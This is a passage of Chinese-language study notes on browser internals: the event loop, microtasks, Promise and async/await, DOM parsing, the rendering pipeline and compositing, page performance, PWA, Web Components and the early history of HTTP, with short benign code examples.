setTimeout 是直接将延迟任务添加到延迟队列中，而 XMLHttpRequest 发起请求，是由浏览器的其他进程或者线程去执行，然后再将执行结果利用 IPC 的方式通知渲染进程，之后渲染进程再将对应的消息添加到消息队列中

---------------------

宏任务和微任务

宏任务

页面中的大部分任务都是在主线程上执行的：

渲染时间（解析DOM、计算布局、绘制）；

用户交互事件；

JS脚本执行事件；

网络请求完成、文件读写完成事件；

为了协调这些任务有序执行，页面进程引入了消息队列和事件循环机制，渲染进程内部会维护多个消息队列（延迟执行队列和普通的消息队列），然后主线程采用一个for循环，不断地从这些任务队列中取出任务并执行任务——消息队列中的任务称为宏任务

消息队列中的任务时通过事件循环系统执行

WHATWG规范中定义事件循环机制：

（大致流程）

1.先从多个消息队列中选出一个最老的任务，这个任务称为 oldestTask；

2.然后循环系统记录任务开始执行的时间，并把这个 oldestTask 设置为当前正在执行的任务；

3.当任务执行完成之后，删除当前正在执行的任务，并从对应的消息队列中删除掉这个 oldestTask；

4.最后统计执行完成的时长等信息

宏任务可以满足大部分日常需求；但对时间精度要求较高的需求，宏任务难以胜任（比如监听DOM变化的需求）；

添加事件由系统操作，js代码不能准确掌控任务要添加到队列中的位置，控制不了任务在消息队列中的位置，所以很难控制开始执行任务的时间——比如通过setTimeout设置两个回调任务，中间可能会被插入很多系统级的任务。

微任务

异步回调的两种方式：

1.把异步回调函数封装成一个宏任务，添加到消息队列尾部，当循环系统执行到该任务的时候执行回调函数；（如setTimeout和XMLHttpRequest）

2.在主函数执行结束之后，当前宏任务结束之前执行回调函数，通常以微任务形式体现；

微任务—— 需要异步执行的函数，执行时机是在主函数执行结束之后、当前宏任务结束之前

JS执行一段脚本时，V8会为其创建一个全局执行上下文，在创建全局执行上下文的同时，V8引擎也会在内部创建一个微任务队列（用于存放微任务）；微任务队列是由V8引擎内部使用，所以无法通过JS直接访问

每个宏任务都关联一个微任务队列——微任务产生的时机和执行微任务队列的时机

产生微任务的两种方式：

1.使用MutationObserver监控某个DOM节点，再通过JS修改这个节点，或者为这个节点添加/删除 部分子节点，当DOM节点发生变化时，会产生DOM变化记录的微任务；

2.使用Promise，当调用Promise.resolve()或者Promise.reject()时，会产生微任务

何时被执行？

1.在当前宏任务中的Js快执行完成时，即Js引擎准备退出全局执行上下文并清空调用栈时,Js引擎会检查全局执行上下文中的微任务队列，然后按照顺序执行队列中的微任务——WHATWG将执行微任务的时间点称为检查点（还有其他检查点）；

2.若执行微任务的过程中产生了新的微任务，同样会将微任务添加到微任务队列中，V8引擎会一直循环执行微任务队列中的任务知道队列为空（执行微任务郭晨各种产生了新的微任务并不会推迟到下个宏任务中执行，而是在当前的宏任务继续执行）

结论：

微任务和宏任务绑定，每个宏任务在执行时会创建自己的微任务队列；

微任务的执行市场回应道当前宏任务的时长；

无论何种情况，微任务都早于宏任务执行；

监听DOM变化方法演变

监听DOM变化方法演变：

MutationObserver 用来监听DOM变化的一套方法；

早期观察DOM变化只能使用轮巡检测(使用setTimeout或setInterval定时检测DOM是否有改变)——若间隔设置过长则DOM变化相应不够及时；若间隔设置过短，则会浪费无用的工作量去检查DOM；

2000年引入了Mutation Event，采用观察者的设计模式，当DOM变化会立刻触发响应事件，调用JS接口（同步回调）——Mutation Event会导致页面性能问题，被反对使用退出web标准事件；

DOM4开始，推荐使用MutationObserver代替Mutation Event，MutationObserver API可以用来监视DOM的变化，包括属性的变化、节点的增减、内容的变化——

1.将响应函数改为异步调用，等多次DOM变化后，一次触发异步调用，并会使用一个数据结构记录这段期间的DOM变化；

2.为保持消息通知的及时性，使用微任务，每当DOM节点发生变化，渲染引擎将变化记录封装成微任务，并将微任务添加到当前的微任务队列中，如此每当执行到检查点，v8引擎就会按照顺序执行微任务

---------------------

Promise

一门技术如何诞生 ？解决问题是什么？

Promise解决异步编程风格的问题

异步编程的问题：代码逻辑不连续

页面中任务都执行在主线程之上；而当执行一个耗时任务，主线程会将任务交给另外一个进程去处理；此时页面主线程继续执行消息队列中的任务，排队结束-处理完任务后将结果添加到渲染进程的消息队列中，排队等待循环系统的处理，排队结束-循环系统处理并触发相关的会掉操作；

web页面的单线程架构决定了异步回调，而异步回调影响编码方式 ==> 导致一段代码可能出现多次回调

==> 封装异步代码

==>新问题：回调地狱

1.嵌套调用，下面任务依赖上个任务的请求结果，并在上个任务的回调函数内执行新的业务逻辑；

2.任务的不确定性，每个任务都需要进行一次额外的错误处理的方式

==>消灭嵌套调用；合并多个任务的错误处理

==>产生嵌套函数的一个主要原因是发起任务请求时会带上回调函数：

Promise实现了回调函数的延时绑定——先创建Promise对象，通过Promise的构造函数executor来执行业务逻辑，再通过.then来设置回调函数

function executor(resolve,reject){

resolve(100)

}

let x1 = new Promise(executor)

function onResolve(value)

console.log(value)

}

x1.then(onResolve)

其次，需要将回调函数OnResolve的返回值穿透到最外层，因为需要根据OnResolve函数的传入值决定创建什么类型的Promise任务

Promise处理异常：

将所有Promise对象的错误合并到一个函数处理（因为Promise对象的错误具有“冒泡”特性）

Promise与微任务

https://blog.poetries.top/browser-working-principle/guide/part4/lesson19.html#promise-%E4%B8%8E%E5%BE%AE%E4%BB%BB%E5%8A%A1

采用定时器来推迟函数延后执行，可以在函数里面加上一个定时器，但效率不高；Promise把定时器改成了微任务

-------------------

async await

Promise虽然能解决回调地狱的问题，但是这种方法充斥了Promise的then()方法，代码语义化不明显

ES7引入了async/await（使用了Generator和Promise两种技术）：

function\* genDemo() {

console.log(" 开始执行第一段 ")

yield 'generator 2'

console.log(" 开始执行第二段 ")

yield 'generator 2'

console.log(" 开始执行第三段 ")

yield 'generator 2'

console.log(" 执行结束 ")

return 'generator 2'

}

console.log('main 0')

let gen = genDemo()

console.log(gen.next().value)

console.log('main 1')

console.log(gen.next().value)

console.log('main 2')

console.log(gen.next().value)

console.log('main 3')

console.log(gen.next().value)

console.log('main 4')

生成器（Generator）

一个带星号函数，可以暂停执行和恢复执行；

在生成器函数内部执行一段代码，若遇到yield关键字，则JS引擎返回关键字后面的内容给外部，并暂停该函数的执行；

外部函数可以通过next方法恢复函数的执行

协程（Coroutine）

一种比线程更加轻量级轻量级的存在；

一个线程上存在多个协程，但是线程上同时只能执行一个协程：如果从A协程启动B协程，nameA协程是B协程的父协程；

协程不被操作系统内核管理，完全由程序控制

四点规则：

1.通过调用生成器函数genDemo来创建一个协程gen，创建后，gen协程没有立即执行；

2.要让gen协程执行，需要通过调用gen.next

3.当协程正在进行时，通过yield关键字暂停gen协程的执行，并返回主要信息给父协程；；

3.如果协程在执行期间，遇到return关键字，则js引擎会结束当前协程，并将return后面的内容返回给父协程

父协程和子协程有各自的调用栈？v8如何切换到父协程的调用栈？

1.gen协程和父协程在主线程上交互执行（非并发），它们之间的切换通过yield和gen.next完成；

2.当在gen协程中调用yield方法，js引擎会保存gen协程当前的调用栈信息，并恢复父协程的调用栈信息；同理，在父协程中执行gen.next，js引擎会保存父协程的调用栈信息，并恢复gen协程的调用栈信息

生成器是协程的一种实现方式；通常把执行生成器的代码封装成一个函数（称为执行器）

async/await

ES7 中引入，使用这种方式能告别执行器和生成器；

async：一个通过异步执行并隐式返回Promise作为结果的函数

async function foo(){

return 2

}

console.log(foo())

//调用async声明的foo函数返回了一个Promise对象

await：

async function foo(){

console.log(1)

let a = await 100

console.log(a)

console.log(2)

}

console.log(0)

foo()

console.log(3)

当执行到await 100时，会默认创建一个Promise对象：

let promise\_ = new Promise((resolve,reject)){

resolve(100)

})

js引擎会将该任务提交给任务队列；

然后js引擎暂停当前协程的执行，将主线程的控制权交给父协程；

执行到console.log(3)，父协程执行结束，在执行结束前，进入微任务的检查点，执行微任务队列，触发promise.\_then的回调函数：

promise\_.then((value)=>{

//回调函数激活后将主线程控制器交给foo协程，并将value值传给协程

})

foo协程激活之后，会把刚才的value值赋给变量a，然后foo协程继续执行后续语句，执行完成后，将控制权归还给父协程

-----------------------------------------------

浏览器中的页面

------------------

页面性能分析

Chrome Canary 开发者版本

网络面板（控制器+过滤器+图信息+时间线+详细列表+下载信息概要）

1.控制器

红色圆点按钮-开始/暂停抓包

全局搜索按钮-在所有下载资源中搜索相关内容，快速定位文件；

Disable cache-禁止从Cache中加载资源，调试web应用时有用，开启Cache会影响到网络性能测试的结果；

Nothrotting-可以限制带宽，模拟弱网情况下页面的展现情况；

2.过滤器

用来筛选想要的文件类型；

3.抓图信息

用来分析用户等待页面加载时间内所看到的的内容，分析用户实际的体验情况；

勾选面板上的Capture screenshots启用屏幕截图；

4.时间线

用来展示Http/Https/WebSocket加载的状态和时间的一个关系；若多条竖线堆叠在一起，说明资源同时被加载；

5.详细列表

详细记录每个资源从发起到完成请求中间所有过程的状态；

6.下载信息概要

DOMContentLoaded-此事件发生后，说明页面已经构建好DOM，DOM所需要的HTML文件、JS文件都已经下载完成；

Load-说明浏览器已经加载了所有的资源

时间线面板（Timing）

Queueing 排队，浏览器发起一个请求时，会有多种原因导致请求不能被立即执行：

1.页面资源有优先级，CSS/HTML/JS > 图片、视频、音频资源；

2.浏览器会为每个域名最多维护6个TCP连接，若发起一个HTTP请求，6个TCP都处于忙碌状态，则该请求会处于排队状态；

3.网络进程为数据分配磁盘空间时，新的HTTP请求也需要短暂地等待磁盘分配结束

排队完成后，也可能导致连接过程被推迟（Stalled）

使用代理服务器，会增加一个Proxy Negotiation阶段，表示代理服务器连接协商所用的时间

Initial connection/SSL阶段，与服务器建立连接的阶段，包括建立TCP连接所花费的时间；若使用了HTTPS协议，还会需要一个额外的SSL握手时间；

建好连接之后，网络进程准备请求数据，发送给网络——Request sent阶段，通常只需要把浏览器缓冲区的数据发送出去，无需判断服务器是否接收到了，不到1ms；

数据发送之后，等待服务器第一个字节的数据，Waiting（TTFB），第一字节时间，TTFB是反映服务端响应速度的重要指标；

接收到第一个字节之后，进入陆续接受完整数据的阶段，即为Content Download阶段

优化时间线上耗时项

1.排队时间过久

让一个站点下面的资源放在多个域名下面，这样比如放到3个域名下面就可以同时支持18个链接——域名分片技术；把站点升级到HTTP2，HTTP2已经没有每个域名最多维护6个TCP连接的限制；

2.TTFB时间过久

可能原因：

服务器生成页面数据的时间过久——对于动态网页，服务器收到用户打开一个页面请求时，首先要从数据库读取该页面需要的数据，然后将数据传到模板中，模板渲染后，再返回给用户；服务器在处理这个数据的过程中，可能某个环节会出问题；

网络的原因，若使用了低宽带的服务器，或者本来用的电信的服务器，联通的网络用户要来访问服务器，同样会拖慢网速；

发送请求头时带了多余的用户信息，比如不必要的cookie信息，服务器接收到这些cookie信息之后可能会对每一项都要处理，这样加大处理时长；

第一种，提高服务器的处理速度，比如增加各种缓存的技术；

第二种，使用CDN来缓存一些静态文件；

第三种，发送请求时尽可能减少一些不必要的cookie数据信息

3.Content Download时间过久

如果单个请求的Content Download花费了大量的时间，可能是字节数太多的原因导致的，这时候需要减少文件大小，比如压缩，去掉源码中不必要的注释

-----------------------------

DOM树：JS如何影响DOM树的构建

从网络传给渲染引擎的html文件字节流无法被直接理解，所以需要转化为DOM结构，在渲染引擎中：

从页面视角，DOM是生成页面的基础数据结构

从JS脚本视角，DOM提供给JS脚本能操作的接口，通过接口，js可以对DOM结构进行访问，从而改变文档的结构、样式和内容；

从安全视角，DOM是一道安全防护线，一些不安全的内容在DOM解析阶段被拒之门外

DOM的形成

渲染引擎内部，有一个HTML解析器（HTMLParser）的模块，负责将HTML字节流转换为DOM结构——HTML解析器并不是等整个文档加载完成再解析的，而是网络进程加载了多少数据，HTML解析器便解析多少数据；

HTML解析详细流程：

网络进程接收到响应头之后，根据响应头的content-type字段判断文件的类型，如果值是“text/html”，浏览器会判断为HTML类型的文件，然后为该请求选择或者创建一个渲染进程；

渲染进程准备好之后，网络进程和渲染进程之间会建立一个共享数据的管道，网络进程接收到数据后往管道里面放，而渲染进程从管道的另外一端不断地读取数据，并同时将数据“喂”给HTML解析器；

最终解析成DOM；

DOM具体生成流程

通过分词器将字节流转换为Token；

Token分为Tag Token（StartTag和EndTag）和文本Token

第二和第三阶段同步进行，将Token解析为DOM节点，并将DOM节点添加到DOM树中

HTML解析器维护了一个Token栈结构，该Token栈主要用来计算节点之间的父子关系，在第一个阶段中生成的Token会被按照顺序压到这个栈中：

若压入栈中的是StartTag Token，HTML解析器会为该Token创建一个DOM节点，然后将该节点加入到DOM书中，它的父节点是栈中相邻的那个元素生成的节点

若分词器解析的是文本Token，那么会生成一个文本节点，将该节点加入到DOM树中，文本Token不需要压入栈中，它的父节点就是当前栈顶Token所对应的DOM节点

若分词器解析的EndTag标签，如EndTag div，HTML解析器会查看栈顶的元素是否是StartTag div，是就将StartTag div从栈中弹出，表示该div元素解析完成

通过分词器产生的新Token不停地压栈和出栈，整个解析过程持续下去，直到分词器将所有字节流分词完成

HTML解析器开始工作时，会默认创建一个根为document的空DOM结构，同时将一个StartTag document的Token压入栈底，然后经过分词器解析出来的第一个StartTag html Token会被压入到栈中，并创建一个html的DOM节点，添加到document中

JS影响DOM生成：

两段div中间插入一段JS脚本，script标签之前所有解析流程和之前介绍的一样，解析到script标签时，渲染引擎判断是一段脚本，HTML解析器会暂停DOM的解析，JS引擎介入，并执行script标签中的脚本，脚本执行完成之后，HTML解析器恢复解析过程，继续解析后续的内容，直至生成最终的DOM

除内嵌JS脚本之外，在页面引入JS文件：

执行到JS标签，暂停DOM解析，需要先下载JS代码，而JS文件的下载过程会阻塞DOM解析，通常很耗时；

chrome浏览器做了优化，预解析操作，当渲染引擎收到字节流之后，会开启一个预解析线程，用来分析HTML文件包含的js、css相关文件，解析到相关文件之后会提前下载这些文件；

DOM解析上，可以使用CND来加速JS文件的加载，压缩JS文件的体积；若JS文件中没有操作DOM相关代码，可以将JS脚本设置为异步加载，通过async（aysnc标志的脚本文件一旦加载完成会立即执行）或defer（需要在DOMContentLoaded事件之前执行）来标记代码

渲染引擎在执行JS脚本时，不挂脚本是否操纵了CSSOM，都会执行CSS文件下载，解析操作，再执行JS脚本；

样式文件会阻塞JS的执行；JS会阻塞DOM生成；

渲染引擎有一个安全检查模块，XSSAuditor，用来检测词法安全，不符合规范会对脚本或者下载任务进行拦截

CSP规范，是否存在跨域请求，是否引用了外部脚本

----------------------------------

渲染流水线：CSS如何影响首次加载时的白屏时间

页面文件的渲染流水线：

发起主页面的请求，发起请求方可能是渲染进程/浏览器进程==>请求被送到网络进程中执行==>网络进程收到HTML数据，发送给渲染进程==>渲染进程解析HTML数据构建DOM

请求HTML数据和构建DOM中间有一段空闲时间

渲染流水线为什么需要CSSOM?

渲染引擎无法直接理解CSS文件内容，需要将其解析成渲染引擎能够理解的结构；

CSS两个作用：

1.提供给JS操作样式表的能力

2.为布局树的合成提供基础的样式信息

有了DOM和CSSOM，接下来合成布局树，布局树的结构基本上复制DOM树的结构，不同之处在于DOM树中那些不需要显示的元素会被过滤掉

==>渲染引擎会为对应的DOM元素选择对应的样式信息（样式计算）

==>渲染引擎需要计算布局树中每个元素对应的几何位置（计算布局）

==>完成构建，进行绘制操作

影响页面展示的因素以及优化策略

渲染流水线影响到首次页面展示的速度，

从发起URL请求到首次显示页面内容，在视觉上经历三个阶段：

等请求发送出去到提交数据阶段，这时页面展示出来的还是之前页面的内容

提交数据之后渲染进程会创建一个空白页面（解析白屏）并等待CSS文件和JS文件的加载完成，生成CSSOM和DOM，然后合成布局树，最后再经过一系列的步骤准备首次渲染

等首次渲染完成后，开始进入完整页面的生成阶段，页面会被一点点绘制出来

重点是2阶段，缩短白屏时长，可以有以下策略：

通过内联JS和CSS来移除两种类型的文件下载，这样获取HTML文件后可以直接开始渲染流程

并不是所有场合都适合内联，可以减少文件大小，比如通过webpack等工具移除一些不必要的注释，并压缩JS文件

可以将一些不需要再解析HTML阶段使用的JS标记上sync或者defer

对于大的CSS文件，可以通过媒体查询属性（@media），将其拆分为多个不同用途的CSS文件，这样只有在特定的场景下才会加载特定的CSS文件

-----------------------------

分成和合成机制：为什么CSS动画比JS高效

显示器如何显示图像

每个显示器都有固定的刷新频率，通常是60HZ（每秒更新60张图片），更新的图片来自于显卡中一个叫前缓冲区的地方，显示器每秒固定读取60次前缓冲区中的图像，并将其显示到显示器上

显卡的职责

合成新的图像，并将图像保存到后缓冲区中，一旦显卡把合成的图像写到后缓冲区，系统会让后缓冲区和前缓冲区互换，这样保证显示器能读取到最新显卡合成的图像，通常先科的更新频率和显示器的刷新频率一致，但有时在复杂的场景中，显卡处理一张图片的速度会变慢，早成视觉上的卡顿

帧vs帧率

操作滚动条或缩放时，渲染引擎会通过渲染流水线生成新的图片，并发送到显卡的后缓冲区；

大多数设备屏幕的更新频率是60次/秒，若要实现流畅的动画效果，渲染引擎需要每秒更新60张图片到显卡的后缓冲区；

渲染流水线生成的每一幅图片称为一帧，渲染流水线每秒更新了多少帧称为帧率，滚动过程中1s更新60帧，那么频率就是60Hz（60FPS）

如果生成某些帧的时间过久，会造成卡顿

如何生成一帧图像

任意一帧的生成方式：重排、重绘、合成

三种方式的渲染路径不同，通常渲染路径越长，生成图像花费的时间越多；

推荐合成方式优先

分层和合成

通常页面组成复杂，如果不采用分层机制，从布局树直接生成目标图片，每次页面有很小的变化时，都会触发重排或者重绘机制，严重影响页面的渲染效率；

为提高每帧的渲染效率，chrome引入了分层和合成的机制：

将素材分解为多个图层的操作称为分层，，将这些图层合并到一起的操作称为合成，

chrome的渲染流水线中，在生成布局树之后，渲染引擎会根据布局树的特点将其转换为层树（渲染流水线后续流程的基础结构）

==>层树的每个节点都对应着一个图层，下一步的绘制阶段依赖于层树中的节点

==>绘制阶段不是真正地绘制出图片，而是将绘制指令组合成一个列表

==>有了绘制列表之后，进入光栅化阶段，根据绘制列表中的指令生成图片

==>每个图片对应一张图片，合成线程会将这些图片合称为一张图片，并发送到后缓冲区

合成操作是在合成线程上完成，不会影响到主线程，这就是为什么经常主线程卡住了，但是CSS动画依然能执行的原因

分块

通常情况下，页面的内容比屏幕大得多，显示一个页面，如果等待所有的图层都生成完毕，再进行合成的话，会产生一些不必要的开销，让合成图片的时间变久；

==>因此，合成线程会将每个图层分割为大小固定的图块，优先绘制靠近视口的图块，从而加速页面的显示速度，但即使如此只绘制优先级最高的图块，也要耗费不少的时间，因为涉及到纹理上传（从计算机内存上传到GPU内存的操作比较慢）

==>chrome采取了一个策略：首次合成图块时使用一个低分辨率的图片，分辨率减少一般，纹理就减少了四分之三；这样首次显示页面内容的时候，显示低分辨率的图片，当正常比例的网页内容绘制完成后再替换掉当前显示的低分辨率内容（总比什么也不显示好）

使用分层技术优化代码

.box {

will-change: transform, opacity;

}

可以使用will-change来告诉渲染引擎会对该元素做一些特效变换，渲染引擎会将该元素单独实现一帧，等变换发生，渲染引擎会通过合成线程直接去处理变换（变换没有涉及到主线程，大大提高了渲染的效率，这也是CSS动画比JS动画高效地原因）

但层数增多也会导致占用内存的增加

---------------------------------

页面性能：如何系统优化页面

页面生存周期的不同阶段

加载阶段

从发出请求到渲染出完整页面的过程，影响到这个阶段的主要因素有网络和JS脚本

交互阶段

从页面加载完成到用户交互的整合过程，影响到这个阶段的主因是JS脚本

关闭阶段

用户发出关闭指令后页面所做的一些清理操作

加载阶段：

并非所有资源都会阻塞页面的首次绘制，比如图片、音频；而JS，首次请求的HTML资源文件、CSS文件会阻塞首次渲染，因为构建DOM的过程中需要HTML和JS文件，而构建渲染树的过程中需要用到CSS文件

把阻塞网页首次渲染的资源称为关键资源

关键资源个数，个数越多，首次页面的加载时间越长

关键资源大小

关键资源需要多个RTT(Round Trip Time)

RTT-表示从发送端发送数据开始，到发送端收到来自接收端的确认，总共经历的时延

（通常一个HTTP的数据包在14kb左右）

预解析线程会扫描HTML数据中的关键资源，会立马发起请求，JS和CSS是同时发起请求的，计算它们的RTT时，以体积最大的那个数据为依据

对应的优化方案：

将JS和CSS改成内联的形式；如果JS代码没有DOM或者CSSOM的操作，改成sync或者defer属性；对于不是在构建页面之前加载的CSS，可以添加媒体取消阻止显现的标志

移除注释

通过减少关键资源的个数和减少关键资源的大小搭配来实现；使用CDN来减少每次RTT时长

交互阶段：

在交互阶段，帧的渲染速度决定了交互的流畅度，讨论页面优化实际上就是讨论渲染引擎是如何渲染帧的

如何生成一个帧？

计算样式阶段发现有布局信息的修改，则会触发重排操作，然后触发后续渲染流水线的一系列操作

若计算样式阶段没有发现布局信息的修改，只是修改了颜色一类的信息，不会涉及到布局相关的调整，可以跳过布局阶段，直接进入绘制阶段——>重绘

通过CSS实现变形、渐变、动画等特效，在合成线程上执行的——>合成，不触发重排或者重绘

对应的优化方案

减少JS脚本执行时间

有时JS函数

的一次执行时间可能有几百毫秒，会霸占主线程执行其他渲染任务的时间，对此：

1.将一次执行的函数分解为多个任务，使得每次的执行时间不要过久

2.采用Web Workers，可以把Web Workers当做主线程之外的一个线程，在WW中可以执行JS脚本，但没有DOM,CSSOM环境（无法通过JS来访问DOM），所以可以把一些DOM操作无关且耗时的任务放到WW中去执行

避免强制同步布局

通过DOM接口执行添加/删除元素等操作，需要重新计算样式和布局，正常情况下这些操作在另外的任务重异步完成（避免当前任务占用太长的主线程时间）

可以使用Performance工具记录添加元素的过程

强制同步布局见代码：

function foo() {

let main\_div = document.getElementById("mian\_div")

let new\_node = document.createElement("li")

let textnode = document.createTextNode("time.geekbang")

new\_node.appendChild(textnode);

document.getElementById("mian\_div").appendChild(new\_node);

// 由于要获取到 offsetHeight，

// 但是此时的 offsetHeight 还是老的数据，

// 所以需要立即执行布局操作

console.log(main\_div.offsetHeight)

}

为避免强制同步布局，需要调整策略，在修改DOM之前查询相关值：

function foo() {

let main\_div = document.getElementById("mian\_div")

// 为了避免强制同步布局，在修改 DOM 之前查询相关值

console.log(main\_div.offsetHeight)

let new\_node = document.createElement("li")

let textnode = document.createTextNode("time.geekbang")

new\_node.appendChild(textnode);

document.getElementById("mian\_div").appendChild(new\_node);

}

避免布局抖动

布局抖动-在一次JS执行过程中，多次执行强制布局和抖动操作

function foo() {

let time\_li = document.getElementById("time\_li")

for (let i = 0; i < 100; i++) {

let main\_div = document.getElementById("mian\_div")

let new\_node = document.createElement("li")

let textnode = document.createTextNode("time.geekbang")

new\_node.appendChild(textnode);

new\_node.offsetHeight = time\_li.offsetHeight;

document.getElementById("mian\_div").appendChild(new\_node);

}

}

尽量不要在修改DOM结构时再去查询一些相关值

合理利用CSS合成动画

合成动画直接在合成线程上执行，若主线程被一些任务占用,CSS动画仍能执行；

如果提前知道某个元素执行动画操作，可将其标记为will-change，告诉渲染引擎需要将该元素单独生成一个图层

避免频繁的垃圾回收

JS使用了自动垃圾回收机制，如果在一些函数中频繁创建临时对象，那么垃圾回收器会频繁执行垃圾回收策略，而当执行垃圾回收操作，会占用主线程，影响其他任务的执行

尽量避免产生临时垃圾数据，尽可能优化储存结构，减少小颗粒对象的产生

----------------------

虚拟DOM

DOM的缺陷

当DOM结构非常复杂时，生成的页面结构很复杂，对这些页面进行重排/重绘非常耗时；

对DOM的不当操作还可能引发一系列问题（比如强制同步布局和布局抖动）

虚拟DOM

将页面改变的内容应用到虚拟DOM上，而不是直接用应用到DOM上；

变化被应用到虚拟DOM上时，虚拟DOM不急着去渲染页面，而是仅仅调整虚拟DOM的内部状态

在虚拟DOM收集到足够的改变时，将这些改变一次性应用到真实的DOM上

从双缓存和MVC模式理解虚拟DOM

----------------

PWA

Progressive Web App 渐进式网页应用

渐进式

从Web应用开发者来说，PWA提供了一个渐进式的过渡方案，让普通站点逐步过渡到Web应用——可以降低站点改造的代价，使得站点逐步支持各项新技术，不需要一步到位

从技术角度，PWA技术是一个渐进式的演化过程，在技术层面一点点演进

Web应用vs本地应用

Web应用缺少离线使用能力，无法提供沉浸式体验

Web应用缺少消息推送的能力，作为一个App厂商，需要有将消息送达到应用的能力

Web应用缺少一级入口，每次都必须通过浏览器打开，不能直接从桌面打开Web应用

PWA提供两种解决方案

引入Service Worker试着解决离线存储和消息推送的问题

引入manifest.json来解决一级入口的问题

Service Worker

WHATWG小组曾经推出过用App Cache来缓存页面，不过使用过程中问题较多，被废弃

2014年，提出Service Worker的概念，主要思想是在页面和网络之间增加一个拦截器，用来缓存和拦截请求：

没安装Service Work，WebApp直接通过网络模块请求资源，安装后，WebApp请求资源时会先通过Service Worker，判断是返回Service Worker缓存的资源还是去网络请求资源

-----------------------------

WebComponent

组件化

对内高内聚，对外低耦合

对内各个元素彼此紧密结合、相互依赖；对外和其他组件的联系最少且接口简单

阻碍前端组件化的因素

CSS影响全局，而全局属性会阻碍组件化；

页面中只有一个DOM，任何地方都可以直接读取和修改DOM

WebComponent组件化开发

WebComponent是一套技术的组合

Custom elements（自定义元素）

Shadow DOM（影子DOM）

HTML templates（HTML 模板）

首先，使用template属性来创建模板

利用DOM可以查找到模板的内容，但是模板元素不会被渲染到页面上

创建一个GeekBang的类

查找模板内容

创造影子DOM（目的是将模板中的内容与全局DOM和CSS进行隔离，这样可以实现元素和样式的私有化）

再将模板添加到影子DOM上

先要查找影子DOM内部的元素需要专门的接口，但影子DOM的JS脚本不会被隔离，仍然可以被外部访问，因为JS语言本身可以很好地实现组件化

代码如下：

<!DOCTYPE html>

<html>

<body>

<!--

一：定义模板

二：定义内部 CSS 样式

三：定义 JavaScript 行为

-->

<template id="geekbang-t">

<style>

p {

background-color: brown;

color: cornsilk

}

div {

width: 200px;

background-color: bisque;

border: 3px solid chocolate;

border-radius: 10px;

}

</style>

<div>

<p>time.geekbang.org</p>

<p>time1.geekbang.org</p>

</div>

<script>

function foo() {

console.log('inner log')

}

</script>

</template>

<script>

class GeekBang extends HTMLElement {

constructor() {

super()

// 获取组件模板

const content = document.querySelector('#geekbang-t').content

// 创建影子 DOM 节点

const shadowDOM = this.attachShadow({ mode: 'open' })

// 将模板添加到影子 DOM 上

shadowDOM.appendChild(content.cloneNode(true))

}

}

customElements.define('geek-bang', GeekBang)

</script>

<geek-bang></geek-bang>

<div>

<p>time.geekbang.org</p>

<p>time1.geekbang.org</p>

</div>

<geek-bang></geek-bang>

</body>

</html>

(↑此处需要有ES6基础)

影子DOM中的元素对于整个网页不可见

影子DOM的CSS不会影响到整个网页的CSSOM，影子DOM内部的CSS只对内部的元素起作用

---------------------------------------------

浏览器中的网络

------------------------

HTTP演化史

超文本传输协议 HTTP/0.9

1991年提出，用于在网络间传递HTML超文本的内容

完整的请求流程：

客户端根据IP地址、端口和服务器建立TCP链接（三次握手）

==>建立连接后，发送一个GET请求行的信息

==>服务器收到请求信息后，读取对应的HTML文件，并将数据以ASCII字符流返回给客户端

==>HTML文档传输完成后断开连接

特点（当时需求简单，用来传输体积很小的HTML文件）

只有一个请求行，没有HTTP请求头和请求体（因为请求行足以表达完整客户端的需求）

服务器也没有返回头信息（因为服务器端不需要告诉客户端太多信息，只需要返回数据）

返回的文件内容是以ASCII字符流传输

被浏览器推动的HTTP/1.0

1994年底出现了拨号上网服务，同年网景推出一款浏览器；

新需求产生：

不单是HTML文件，包括JS、CSS、图片、音视频等类型文件，文件格式不再局限于ASCII编码

实现多种类型文件的下载

HTTP/1.0引入了请求头和响应头，以Key-Value形式保存；发送请求时带上请求头信息，返回数据时返回响应头信息

需解决：

浏览器要知道服务器返回的数据是什么类型，根据数据类型进行针对性处理；

单个文件的数据量越来越大，1为减轻传输性能，服务器会对数据进行压缩后再传输，浏览器需要知道服务器压缩的方法；

服务器需对不同地区提供不同的语言版本，而浏览器需要告诉服务器它想要什么语言版本的页面

增加了各种不同类型的文件，浏览器需要知道文件的编码类型

发送的请求头内容：

accept：text/html

accept-encoding:gzip,deflate,br（期望服务器采用的压缩方式）

accept-charset:ISO-8859-1，utf-8（期望返回的文件编码）

accept-language：zh-CN，zh

服务器根据请求头的信息来准备响应数据

（但有时服务器不支持某些类型，会根据content-encoding字段告诉浏览器最终的压缩类型，然后浏览器据此来处理数据）

content-encoding：br

content-type：text/html;charset=UTF-8

拿到响应头信息，浏览器会用br方法解压文件，再按照UTF-8的编码格式处理原始文件，最后按照HTML的方式解析该文件

除此之外还新增了一些特性

引入状态码，有时请求服务器无法处理或处理出错，这是需要告诉浏览器最终请求的状况，通过响应行告诉浏览器

为减轻服务器的压力，HTTP/1.0提供了Cache机制，用来缓存已经下载过的数据

服务器需要统计客户端的基础信息，例如widnows的用户数量是多少，所以在请求头中还加入了用户代理的字段（以及识别用户用的浏览器版本等）

缝缝补补的HTTP/1.1

HTTP/1.0的问题1：

每进行一次HTTP通信，都需要经历建立TCP连接、传输HTTP数据和断开TCP连接三个阶段；下载每个文件都需要重复这个过程

HTTP/1.1增加了持久连接的方法：

在一个TCP连接上可以传输多个HTTP请求，只要浏览器/服务器没有明确断开连接，该TCP连接会一直保持

不想要采用持久连接，可以在 HTTP 请求头中加上Connection: close

目前浏览器中对于同一个域名，默认允许同时建立 6 个 TCP 持久连接

2：不成熟的HTTP管线化

队头阻塞：持久连接需要等待前面的请求返回才能进行下一次请求，若前面某个请求没有及时返回，会阻塞后面的所有请求

HTTP/1.1试图用管线化技术解决此问题（将多个HTTP请求整批交给服务器的技术，但服务器亦然需要根据请求顺序回复浏览的请求）

后来放弃

3：提供虚拟主机的支持

HTTP/1.0中，每个域名绑定了一个唯一的IP地址，因此一个服务器只能支持支持一个域名；

随着虚拟机技术的发展，需要实现在一台物理主机上绑定多个虚拟主机，每个虚拟主机都有自己单独的域名，这些单独的域名都公用同一个IP地址；

因此，HTTP/1.1在请求头中增加了Host字段，表示当前的域名地址方便服务器根据Host值做对应的处理

4：对动态生成的内容提供完美支持

HTTP/1.0，需要在响应头设置完整的数据大小（Content-Length：901），这样浏览器根据设置的数据大小接收数据；

随着服务器端技术发展，页面内容出现动态生成，在传输数据前不知道最终的数据大小，浏览器不知道何时会接受完所有的文件数据；

